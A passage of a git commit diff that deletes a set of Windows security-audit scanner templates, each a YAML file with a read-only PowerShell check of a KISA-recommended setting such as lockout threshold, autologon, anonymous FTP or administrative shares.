Update printers-info-leak template with improved metadata and structure

- Added proper impact and remediation sections - Enhanced description with PJL context - Added vendor and product metadata fields - Added shodan-query for better discoverability - Added pjl tag for better categorization - Added additional reference for PJL documentation - Enhanced template structure following review guidelines
fix: update printer info leak template to print more context
2026-11-07 17:43:44 -10:00 · 2025-07-15 18:28:02 +04:00 · 2025-07-14 18:03:09 +02:00
481 changed files with 723 additions and 3176 deletions
@@ -1,51 +1,11 @@
-code/windows/audit/kisa/account-lockout-threshold.yaml
-code/windows/audit/kisa/admin-account-rename.yaml
-code/windows/audit/kisa/admin-group-minimal.yaml
-code/windows/audit/kisa/autologon-control.yaml
-code/windows/audit/kisa/crash-on-audit-fail.yaml
-code/windows/audit/kisa/dns-zone-transfer-check.yaml
-code/windows/audit/kisa/ftp-access-control-check.yaml
-code/windows/audit/kisa/ftp-anonymous-check.yaml
-code/windows/audit/kisa/ftp-directory-permission-check.yaml
-code/windows/audit/kisa/hard-disk-default-share.yaml
-code/windows/audit/kisa/password-cleartext-encryption.yaml
-code/windows/audit/kisa/password-never-expires.yaml
-code/windows/audit/kisa/rds-removal-check.yaml
-code/windows/audit/kisa/remote-registry-access-check.yaml
-code/windows/audit/kisa/remote-system-shutdown.yaml
-code/windows/audit/kisa/sam-file-access-control.yaml
-code/windows/audit/kisa/service-pack-check.yaml
-code/windows/audit/kisa/shutdown-without-logon.yaml
-code/windows/audit/kisa/unnecessary-accounts-check.yaml
-code/windows/audit/kisa/unnecessary-service-check.yaml
-http/cves/2020/CVE-2020-9547.yaml
-http/cves/2020/CVE-2020-9548.yaml
-http/cves/2024/CVE-2024-50334.yaml
-http/cves/2025/CVE-2025-2010.yaml
-http/cves/2025/CVE-2025-32813.yaml
-http/cves/2025/CVE-2025-32814.yaml
-http/cves/2025/CVE-2025-34040.yaml
-http/cves/2025/CVE-2025-41646.yaml
-http/cves/2025/CVE-2025-4380.yaml
 http/cves/2025/CVE-2025-47812.yaml
 http/cves/2025/CVE-2025-47813.yaml
-http/cves/2025/CVE-2025-48827.yaml
-http/cves/2025/CVE-2025-53624.yaml
-http/cves/2025/CVE-2025-5777.yaml
-http/default-logins/molgenis/molgenis-default-login.yaml
-http/exposed-panels/cisco-cm-panel.yaml
-http/exposed-panels/cisco-prime-license-manager-panel.yaml
 http/exposed-panels/google-adk-api-exposed.yaml
 http/exposed-panels/google-adk-webui-exposed.yaml
-http/exposed-panels/molgenis-panel.yaml
-http/exposed-panels/peplink-panel.yaml
 http/exposed-panels/wingftp-panel.yaml
-http/miscellaneous/torrent-website-detect.yaml
-http/misconfiguration/installer/pritunl-installer.yaml
 http/technologies/wordpress/plugins/blocksy-companion.yaml
 http/technologies/wordpress/plugins/gosmtp.yaml
 http/technologies/wordpress/plugins/honeypot.yaml
 http/technologies/wordpress/plugins/pagelayer.yaml
 http/technologies/wordpress/plugins/siteseo.yaml
 http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
-network/detection/jdwp-detect.yaml
@@ -1,66 +0,0 @@
-id: account-lockout-threshold
-
-info:
-  name: Account Lockout Threshold Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure the account lockout threshold is configured to 5 or fewer invalid login attempts to reduce the risk of brute-force attacks.
-  impact: |
-    An absent or misconfigured lockout threshold permits unlimited password guessing attempts, significantly increasing the risk of account compromise.
-  remediation: |
-    Set the lockout threshold using:
-    > net accounts /lockoutthreshold:5
-    or configure it via Local Security Policy under:
-    Account Lockout Policy → Account lockout threshold.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: account-management,code,windows-audit,kisa
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-
-    args:
-      - -ExecutionPolicy
-      - Bypass
-
-    pattern: "*.ps1"
-    source: |
-      $netAccountsOutput = net accounts
-      $thresholdLine = $netAccountsOutput | Where-Object { $_ -match "Lockout threshold:" }
-      if ($thresholdLine) {
-          # "Lockout threshold:"
-          $matches = [regex]::Match($thresholdLine, "Lockout threshold:\s+(\S+)")
-          if ($matches.Success) {
-              $value = $matches.Groups[1].Value.Trim()
-              if ($value -eq "0" -or $value -eq "Never") {
-                  Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_NOT_SET"
-              }
-              elseif ([int]$value -gt 5) {
-                  Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_EXCEEDS_MAX"
-              }
-              else {
-                  Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_OK"
-              }
-          }
-          else {
-              Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_NOT_FOUND"
-          }
-      }
-      else {
-          Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_NOT_FOUND"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "ACCOUNT_LOCKOUT_THRESHOLD_NOT_SET"
-          - "ACCOUNT_LOCKOUT_THRESHOLD_EXCEEDS_MAX"
-        condition: or
-# digest: 4a0a00473045022034a847143c2c8fb95385c179c5f7470c39ab50890f000ed24a3035ea0f25870a022100fc81ac665ad1b19de6dee7a2dca9825d4b1788f9c7d1864fe911258bf7d12018:922c64590222798bb761d5b6d8e72950
@@ -1,43 +0,0 @@
-id: admin-account-rename
-
-info:
-  name: Administrator Account Rename Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure the default Administrator account has been renamed to help prevent targeted brute-force attacks.
-  impact: |
-    Retaining the default Administrator account name gives attackers a predictable target for password guessing attempts on a privileged account.
-  remediation: |
-    Rename the Administrator account using Local Security Policy or the following command-line instruction:
-    > wmic UserAccount where Name="administrator" call Rename Name="NEW_NAME"
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: account-management,code,windows-audit,kisa
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      # Check SID ending with -500 (built-in Administrator)
-      $adminAccount = Get-LocalUser | Where-Object { $_.SID -like '*-500' }
-      if ($adminAccount.Name -eq 'Administrator') {
-          "ADMINISTRATOR_ACCOUNT_NOT_RENAMED"
-      } else {
-          "ADMINISTRATOR_ACCOUNT_RENAMED"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "ADMINISTRATOR_ACCOUNT_NOT_RENAMED"
-# digest: 490a0046304402204f1082ed779670c36e0c0dbdd6b5877646019c207108132bedf0b2930b7dc152022009b7488b88083a38073d52e1ef4b9a33c21321f0fc1acc490a78e529ca983432:922c64590222798bb761d5b6d8e72950
@@ -1,60 +0,0 @@
-id: admin-group-minimal
-
-info:
-  name: Minimum Administrator Group Membership Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure that only essential accounts are members of the Administrators group. Excess or unnecessary accounts can increase the system's vulnerability to compromise.
-  impact: |
-    Additional accounts in the Administrators group can be leveraged by attackers to gain unauthorized access and execute administrative tasks.
-  remediation: |
-    Remove unneeded accounts from the Administrators group using:
-    > net localgroup administrators [AccountName] /del
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: account-management,code,windows-audit,kisa,admin-group
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $output = net localgroup administrators | Out-String
-      $lines = $output -split "`n"
-      $start = $false
-      $accounts = @()
-      foreach ($line in $lines) {
-          # Identify the start of the member list by the separator line
-          if ($line -match "^-+") {
-              $start = $true
-              continue
-          }
-          # End the member list when reaching the completion message
-          if ($start -and $line -match "The command completed successfully") {
-              break
-          }
-          if ($start -and $line.Trim() -ne "") {
-              $accounts += $line.Trim()
-          }
-      }
-      # Assume that only one account (the built-in administrator or a renamed equivalent) is necessary.
-      if ($accounts.Count -gt 1) {
-          "EXTRA_ADMIN_ACCOUNTS_FOUND"
-      } else {
-          "ADMIN_GROUP_MINIMAL"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "EXTRA_ADMIN_ACCOUNTS_FOUND"
-# digest: 4a0a004730450221009c36aa2068e623df764f3863f6e970940153bfea01b831b33ad12afb14df3cd102207572f13bba45b95343961cc8a22a4b2b999dfb784f64eb62ce42dae81795f360:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
-id: autologon-control
-
-info:
-  name: Autologon Function Control Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure the Autologon feature is disabled by verifying that the AutoAdminLogon registry value under
-    HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon is either missing or set to "0".
-    A value of "1" indicates that login credentials may be stored in the registry, creating a potential security risk.
-  impact: |
-    Enabling Autologon allows attackers with physical or remote access to retrieve stored login credentials, potentially resulting in unauthorized system access.
-  remediation: |
-    Disable Autologon by setting the AutoAdminLogon registry value to "0". This can be done using:
-    - Registry Editor: Go to HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon and set AutoAdminLogon to "0".
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: autologon,account-management,code,windows-audit,kisa
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $regPath = "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
-      $autologon = (Get-ItemProperty -Path $regPath -Name AutoAdminLogon -ErrorAction SilentlyContinue).AutoAdminLogon
-      if ($null -eq $autologon -or $autologon -eq "0") {
-          "AUTO_ADMIN_LOGON_DISABLED"
-      } else {
-          "AUTO_ADMIN_LOGON_ENABLED"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "AUTO_ADMIN_LOGON_ENABLED"
-# digest: 4a0a00473045022100f6c7e1a440a97be82ee3459e2a332e1ff946165fd3d81fe5fe130fd9994b3e9c022054d9ac214e6fa41663e07b56e06c9b2d47c504b8419e08dd5daf0b733d717e46:922c64590222798bb761d5b6d8e72950
@@ -1,52 +0,0 @@
-id: crash-on-audit-fail
-
-info:
-  name: Shutdown on Audit Failure Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure the "Shutdown on Audit Failure" policy is disabled.
-    The registry value should be set to "4,0" to prevent the system from shutting down if it cannot log security audit events.
-    If set to "4,1", the system will shut down on audit failure, which could result in a denial-of-service condition.
-  impact: |
-    Enabling this policy (value set to "4,1") may cause the system to shut down unexpectedly if audit logs cannot be written, potentially disrupting services and risking data loss.
-  remediation: |
-    Disable the policy by setting the CrashOnAuditFail value to "4,0". This can be done by:
-    - Using the Registry Editor: Navigate to HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System and set CrashOnAuditFail to "4,0".
-    - Through Local Security Policy: Set "Audit: Shut down system immediately if unable to log security audits" to Disabled.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: account-management,code,windows-audit,kisa,policy
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $cfgPath = "C:\cfg.txt"
-      secedit /export /cfg $cfgPath | Out-Null
-      $cfg = Get-Content $cfgPath | Out-String
-      if ($cfg -match "CrashOnAuditFail\s*=\s*(\S+)") {
-          $value = $Matches[1].Trim()
-          if ($value -eq "4,1") {
-              "CRASH_ON_AUDIT_FAIL_ENABLED"
-          } else {
-              "CRASH_ON_AUDIT_FAIL_DISABLED"
-          }
-      } else {
-          "CRASH_ON_AUDIT_FAIL_NOT_FOUND"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "CRASH_ON_AUDIT_FAIL_ENABLED"
-# digest: 490a00463044022007c2aca38559cd01cd500c5c6fd79aac025e09e5b81eb704d263ee7cd549e55102202518accc1cc2c845dbd42938cdf9c81fe5088c29fcd839627c5a5531c184c6db:922c64590222798bb761d5b6d8e72950
@@ -1,57 +0,0 @@
-id: dns-zone-transfer-check
-
-info:
-  name: DNS Zone Transfer Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure DNS zone transfers are restricted by verifying that the SecureSecondaries registry value is set to 2 for all active zones.
-    Unrestricted zone transfers can expose sensitive domain information, helping attackers map the network infrastructure.
-  impact: |
-    If DNS zone transfers are not properly restricted, attackers could access domain and zone details, which may aid in planning and launching further attacks against the network infrastructure.
-  remediation: |
-    Configure DNS zone transfer restrictions by:
-    - Disabling zone transfers entirely, or
-    - Restricting transfers to designated servers by setting the SecureSecondaries registry value to 2.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: code,windows-audit,kisa,dns,zone-transfer
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $regPath = "HKLM:\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\DNS Server\Zones"
-      $zones = Get-ChildItem -Path $regPath -ErrorAction SilentlyContinue
-      if (!$zones) {
-          "DNS_ZONE_TRANSFER_COMPLIANT"
-          exit
-      }
-      $vulnerable = $false
-      foreach ($zone in $zones) {
-          $secureVal = (Get-ItemProperty -Path $zone.PSPath -ErrorAction SilentlyContinue).SecureSecondaries
-          if ($secureVal -ne 2) {
-              $vulnerable = $true
-              break
-          }
-      }
-      if ($vulnerable) {
-          "DNS_ZONE_TRANSFER_VULNERABLE"
-      } else {
-          "DNS_ZONE_TRANSFER_COMPLIANT"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "DNS_ZONE_TRANSFER_VULNERABLE"
-# digest: 4b0a00483046022100be81b405c5b43fdf1fb9aee817558e543a42f9c049d3df45c13ec227f7b0db900221009822d46e216e816a520a0bc614186cf3b157a4dd8adcfc092e035485822bd400:922c64590222798bb761d5b6d8e72950
@@ -1,54 +0,0 @@
-id: ftp-access-control-check
-
-info:
-  name: FTP Access Control Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure FTP access is restricted by configuring IP address filters. Without these restrictions, unauthorized networks could potentially access FTP services.
-  impact: |
-    Lack of proper IP-based access control allows FTP services to be accessed by unauthorized networks, heightening the risk of data breaches and other security threats.
-  remediation: |
-    Set up IP address restrictions using IIS Manager:
-    - Open IIS Manager.
-    - Go to the FTP site → FTP IP Address and Domain Restrictions.
-    - Add the allowed IP addresses and configure suitable deny rules.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: ftp,iis,security,windows,code,windows-audit,kisa
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      Import-Module WebAdministration -ErrorAction SilentlyContinue
-      $ftpSites = Get-ChildItem IIS:\Sites | Where-Object { $_.Bindings.Collection.Protocol -eq "ftp" }
-      $vulnerable = $false
-      foreach ($site in $ftpSites) {
-          $ipSecurity = Get-WebConfigurationProperty -pspath "MACHINE/WEBROOT/APPHOST/$($site.Name)" -filter "system.ftpServer/security/ipSecurity" -name "allowUnlisted" -ErrorAction SilentlyContinue
-          # If allowUnlisted is true, FTP access is open to unlisted IPs (i.e., no proper IP restriction is applied)
-          if ($ipSecurity -eq $true) {
-              $vulnerable = $true
-              break
-          }
-      }
-      if ($vulnerable) {
-          "FTP_IP_ACCESS_CONTROL_NOT_CONFIGURED"
-      } else {
-          "FTP_IP_ACCESS_CONTROL_CONFIGURED"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "FTP_IP_ACCESS_CONTROL_NOT_CONFIGURED"
-# digest: 4a0a00473045022030582b216f012703bf8b3f624b5598a65b9b606276db85587b50c76d7bb649dd022100e2745e62838e7c1fe2fc03a3dc6a49bbb82af10d7bf262198b6ae175f7f4308d:922c64590222798bb761d5b6d8e72950
@@ -1,53 +0,0 @@
-id: ftp-anonymous-check
-
-info:
-  name: Anonymous FTP Disabled Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure that anonymous FTP authentication is disabled on all FTP sites. Allowing anonymous access permits unauthenticated users to connect, which can lead to serious security vulnerabilities.
-  impact: |
-    If anonymous FTP is enabled, attackers can bypass authentication and potentially gain unauthorized access to FTP resources, posing a significant security risk.
-  remediation: |
-    Disable anonymous FTP authentication using IIS Manager:
-    - Open IIS Manager.
-    - Navigate to the FTP site → FTP Authentication.
-    - Set "Anonymous Authentication" to Disabled.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: ftp,iis,security,code,windows-audit,kisa
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      Import-Module WebAdministration -ErrorAction SilentlyContinue
-      $ftpSites = Get-ChildItem IIS:\Sites | Where-Object { $_.Bindings.Collection.Protocol -eq "ftp" }
-      $vulnerable = $false
-      foreach ($site in $ftpSites) {
-          $anonAuth = Get-WebConfigurationProperty -pspath "MACHINE/WEBROOT/APPHOST/$($site.Name)" -filter "system.ftpServer/security/authentication/anonymousAuthentication" -name "enabled" -ErrorAction SilentlyContinue
-          if ($anonAuth -eq $true) {
-              $vulnerable = $true
-              break
-          }
-      }
-      if ($vulnerable) {
-          "ANONYMOUS_FTP_ENABLED"
-      } else {
-          "ANONYMOUS_FTP_DISABLED"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "ANONYMOUS_FTP_ENABLED"
-# digest: 4a0a00473045022100a7c487be6ab61661f88bb5bc891f8f13a6c552b7ccd2a368b5c39189358fe452022018c475e6e9d30bb1f170fb3eeac3fc47d562758aec1e44e887f744dfcd7140b0:922c64590222798bb761d5b6d8e72950
@@ -1,57 +0,0 @@
-id: ftp-directory-permission-check
-
-info:
-  name: FTP Directory Access Permission Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure that the FTP home directory does not include the "Everyone" group in its access permissions. Granting access to this group may allow unauthorized users to view, modify, or tamper with FTP files.
-  impact: |
-    Assigning access to the "Everyone" group for the FTP home directory can result in information exposure, file tampering, or unauthorized changes.
-  remediation: |
-    Remove the "Everyone" group from FTP home directory permissions using the following methods:
-    - IIS Manager: Review and adjust the FTP site's home directory settings.
-    - File Explorer: Right-click the directory, select "Properties" → go to the "Security" tab, and remove the "Everyone" group.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: ftp,iis,security,windows,code,windows-audit,kisa
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      # Define the FTP home directory path (adjust if necessary)
-      $ftpHome = "C:\inetpub\ftproot"
-      if (!(Test-Path $ftpHome)) {
-          "FTP_HOME_DIRECTORY_NOT_FOUND"
-          exit
-      }
-      # Retrieve the ACL for the FTP home directory
-      $acl = Get-Acl $ftpHome
-      $vulnerable = $false
-      foreach ($ace in $acl.Access) {
-          if ($ace.IdentityReference.ToString() -like "*Everyone*") {
-              $vulnerable = $true
-              break
-          }
-      }
-      if ($vulnerable) {
-          "FTP_HOME_DIRECTORY_EVERYONE_FOUND"
-      } else {
-          "FTP_HOME_DIRECTORY_NO_EVERYONE"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "FTP_HOME_DIRECTORY_EVERYONE_FOUND"
-# digest: 4b0a00483046022100d2fa5c4c6cbaa3343621441e4498d6bdf29509bfa9107ff0e9795621ba221137022100a9325c7ef8d03bfacfd7ca0a310e27544f6fb4fc5cb71566340282c780ca3717:922c64590222798bb761d5b6d8e72950
@@ -1,75 +0,0 @@
-id: hard-disk-default-share
-
-info:
-  name: Hard Disk Default Share Removal Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure default administrative shares (e.g., C$, D$, Admin$) are disabled by verifying that the AutoShareServer registry value is set to 0.
-    Leaving these shares enabled can expose system resources to unauthorized access.
-  impact: |
-   If the AutoShareServer registry value is set to 1 or default administrative shares (excluding IPC$) are present, attackers may exploit them to gain unauthorized access to system resources.
-  remediation: |
-    Permanently disable default administrative shares by setting the AutoShareServer registry value to 0 at:
-    - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
-    - Additionally, remove any non-essential default shares using the appropriate system management tools.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: ftp,iis,code,windows-audit,kisa,share-permissions
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      $vulnerable = $false
-      # Check the AutoShareServer registry value
-      $regPath = 'HKLM:\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'
-      $autoShare = (Get-ItemProperty -Path $regPath -Name AutoShareServer -ErrorAction SilentlyContinue).AutoShareServer
-      if ($autoShare -eq 1) {
-          $vulnerable = $true
-      }
-      # Retrieve list of shared folders using 'net share'
-      $netShares = net share | Out-String
-      $lines = $netShares -split "`n"
-      $shareNames = @()
-      $startParsing = $false
-      foreach ($line in $lines) {
-          if ($line -match "^-+") {
-              $startParsing = $true
-              continue
-          }
-          if ($startParsing -and $line.Trim() -ne "" -and $line -notmatch "The command completed successfully") {
-              $tokens = $line.Trim() -split "\s+"
-              if ($tokens.Count -gt 0) {
-                  $shareNames += $tokens[0]
-              }
-          }
-      }
-      # Define default shares to check (excluding IPC$)
-      $defaultShares = @("C$", "D$", "Admin$")
-      foreach ($share in $shareNames) {
-          if ($defaultShares -contains $share) {
-              $vulnerable = $true
-              break
-          }
-      }
-      if ($vulnerable) {
-          "DEFAULT_SHARE_VULNERABLE"
-      } else {
-          "DEFAULT_SHARE_COMPLIANT"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "DEFAULT_SHARE_VULNERABLE"
-# digest: 4a0a004730450221009ebdc7c1aef05392bad7dfec19455d19a49841b9c5450289066663f12f7cf7b702205fc2205ef3699f0479d05c18f6ba580269db8bfb3265cd700a7084fbe01794e2:922c64590222798bb761d5b6d8e72950
@@ -1,50 +0,0 @@
-id: password-cleartext-encryption
-
-info:
-  name: Store Passwords Using Reversible Encryption Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure the "Store passwords using reversible encryption" policy is set to Disabled. If enabled, it can allow stored passwords to be retrieved in plaintext, posing a serious security risk.
-  impact: |
-    If this setting is enabled, attackers could potentially recover user passwords, leading to unauthorized access and compromise of network resources.
-  remediation: |
-    Disable this policy using one of the following methods:
-    - Command Line: Export the security configuration, set ClearTextPassword=0, and reapply it using secedit.
-    - GUI: Open Local Security Policy → Account Policies → Password Policy → "Store passwords using reversible encryption" and set it to Disabled.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: code,windows-audit,kisa,account-management,password-policy
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-    engine:
-      - powershell
-      - powershell.exe
-    args:
-      - -ExecutionPolicy
-      - Bypass
-    pattern: "*.ps1"
-    source: |
-      # Export security settings to a configuration file
-      secedit /export /cfg C:\cfg.txt | Out-Null
-      $cfg = Get-Content C:\cfg.txt | Out-String
-      if ($cfg -match "ClearTextPassword\s*=\s*(\d)") {
-          $value = $Matches[1]
-          if ($value -eq "1") {
-              "CLEAR_TEXT_PASSWORD_ENABLED"
-          } else {
-              "CLEAR_TEXT_PASSWORD_DISABLED"
-          }
-      } else {
-          "CLEAR_TEXT_PASSWORD_NOT_FOUND"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "CLEAR_TEXT_PASSWORD_ENABLED"
-# digest: 490a0046304402206180f772353986ee4ee889d90160f393e2ebc4aa0522f36d6f7c786b055b70b9022012eaa06861d6d4669161f399c0c732efcc36cb235c906f501355a7dc2506a1b6:922c64590222798bb761d5b6d8e72950
@@ -1,49 +0,0 @@
-id: password-never-expires
-
-info:
-  name: Password Expiry Setting Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description:
-    Ensure the "Password never expires" setting is disabled for all active user accounts so that password expiration policies can be enforced effectively.
-  impact: |
-    Enabling the "Password never expires" setting overrides the maximum password age policy, preventing its enforcement and increasing the likelihood of credential compromise.
-  remediation: |
-    Disable the "Password never expires" setting using one of the following methods:
-    - Command Line: > wmic useraccount where name="USERNAME" set passwordexpires=true
-    - GUI: Use Local Security Policy to modify the user account settings accordingly.
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: code,windows-audit,kisa,account-management,password-policy
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-
-    engine:
-      - powershell
-      - powershell.exe
-
-    args:
-      - -ExecutionPolicy
-      - Bypass
-
-    pattern: "*.ps1"
-
-    source: |
-      # Check all local, active user accounts for the password expiry setting
-      $users = Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount=True and Disabled=False"
-      $vulnerable = $users | Where-Object { $_.PasswordExpires -eq $false }
-      if ($vulnerable) {
-          "PASSWORD_NEVER_EXPIRES_ENABLED"
-      } else {
-          "PASSWORD_NEVER_EXPIRES_DISABLED"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "PASSWORD_NEVER_EXPIRES_ENABLED"
-# digest: 4a0a0047304502203a4e9f5693235c56c670435681254344148b0278f6a6eca57a8b7f5efd5391ff022100e4ea776f07c36b837213a54e95d5e4f3bcc8344ef8b382bf3875c45303b56a3d:922c64590222798bb761d5b6d8e72950
@@ -1,79 +0,0 @@
-id: rds-removal-check
-
-info:
-  name: RDS Removal Check
-  author: nukunga[SungHyunJeon]
-  severity: medium
-  description: |
-    Ensure that Remote Data Services (RDS) are either removed or not configured to reduce the risk of denial-of-service attacks or remote execution of administrative commands.
-    Compliance is met if any of the following conditions are true:
-    - IIS is not installed or in use,
-    - The default website does not include the /msadc virtual directory, or
-    - The relevant ADCLaunch registry keys associated with RDS are not present.
-  impact: |
-    Improperly configured RDS can be exploited by attackers to execute remote code or launch denial-of-service attacks.
-  remediation: |
-    To mitigate RDS-related risks, take the following actions:
-      - Remove the /msadc virtual directory from the default website.
-      - Delete these registry keys:
-        - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\RDSServer.DataFactory
-        - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\AdvancedDataFactory
-        - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\VbBusObj.VbBusObjCls
-  reference:
-    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
-  tags: rds,code,windows-audit,kisa
-
-self-contained: true
-
-code:
-  - pre-condition: |
-      IsWindows();
-
-    engine:
-      - powershell
-      - powershell.exe
-
-    args:
-      - -ExecutionPolicy
-      - Bypass
-
-    pattern: "*.ps1"
-
-    source: |
-      # Check if IIS (W3SVC) service is present; if not, IIS is not used and RDS is implicitly compliant.
-      $iisService = Get-Service -Name W3SVC -ErrorAction SilentlyContinue
-      if (-not $iisService) {
-          Write-Output "RDS_COMPLIANT"
-          exit
-      }
-      # Check for the existence of the /msadc virtual directory in the Default Web Site.
-      $msadcExists = $false
-      try {
-          Import-Module WebAdministration -ErrorAction SilentlyContinue
-          $vdirs = Get-WebVirtualDirectory -Site "Default Web Site" -ErrorAction SilentlyContinue
-          if ($vdirs) {
-              foreach ($vdir in $vdirs) {
-                  if ($vdir.Path -eq "/msadc") {
-                      $msadcExists = $true
-                      break
-                  }
-              }
-          }
-      } catch {}
-      # Check for ADCLaunch registry keys related to RDS.
-      $adcLaunchPath = "HKLM:\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch"
-      $rdServerExists = Test-Path "$adcLaunchPath\RDSServer.DataFactory"
-      $advDataExists = Test-Path "$adcLaunchPath\AdvancedDataFactory"
-      $vbBusObjExists = Test-Path "$adcLaunchPath\VbBusObj.VbBusObjCls"
-      # Compliance is achieved if the /msadc virtual directory does not exist OR none of the registry keys exist.
-      if ((-not $msadcExists) -or (-not ($rdServerExists -or $advDataExists -or $vbBusObjExists))) {
-          Write-Output "RDS_COMPLIANT"
-      } else {
-          Write-Output "RDS_VULNERABLE"
-      }
-
-    matchers:
-      - type: word
-        words:
-          - "RDS_VULNERABLE"
-# digest: 490a00463044022040fa4e2daa7a86c4a99e9e8b693567504a71bc593b6b90852043b263b37c438a0220309aa44e82609268e6f6d529ef3354fde78cfc0580b52f24eb03f9ef1539770e:922c64590222798bb761d5b6d8e72950
@@ -1,44 +0,0 @@
-id: remote-registry-access-check
-
-info:
